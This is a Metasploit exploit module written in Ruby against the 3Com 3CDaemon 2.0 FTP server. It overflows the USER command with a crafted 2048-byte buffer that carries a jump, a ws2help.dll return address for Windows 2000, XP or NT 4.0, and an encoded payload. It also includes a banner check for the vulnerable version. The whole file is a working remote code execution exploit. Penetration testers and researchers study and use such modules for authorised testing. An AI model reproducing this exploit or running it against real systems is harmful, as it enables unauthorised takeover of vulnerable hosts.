metasploit-framework/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb

97 lines
2.1 KiB
Ruby

require 'msf/core/exploit/ftp'
module Msf
class Exploits::Windows::Ftp::ThreeCeeDaemonFTPUserOverflow < Msf::Exploit::Remote
include Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',
'Description' => %q{
This module exploits a vulnerability in the 3Com 3CDaemon
FTP service. This package is being distributed from the 3Com
web site and is recommended in numerous support documents.
This module uses the USER command to trigger the overflow.
},
'Author' => [ 'hdm' ],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '12810'],
[ 'OSVDB', '12811'],
[ 'BID', '12155'],
[ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
[ 'MIL', '1'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 674,
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
'StackAdjustment' => -3500,
'Compat' =>
{
'ConnectionType' => "-find"
}
},
'Targets' =>
[
[
'Windows 2000 English', # Tested OK - hdm 11/24/2005
{
'Platform' => 'win',
'Rets' => [ 0x75022ac4 ], # ws2help.dll
},
],
[
'Windows XP English SP0/SP1',
{
'Platform' => 'win',
'Rets' => [ 0x71aa32ad ], # ws2help.dll
},
],
[
'Windows NT 4.0 SP4/SP5/SP6',
{
'Platform' => 'win',
'Rets' => [ 0x77681799 ], # ws2help.dll
},
],
],
'DisclosureDate' => 'Jan 4 2005'))
end
def check
connect
disconnect
if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
print_status("Trying target #{target.name}...")
buf = Rex::Text.rand_text_english(2048, payload_badchars)
buf[229, 2] = "\xeb\x06"
buf[233, 4] = [ target['Rets'][0] ].pack('V')
buf[237, payload.encoded.length] = payload.encoded
send_cmd( ['USER', buf] , false )
disconnect
handler
end
end
end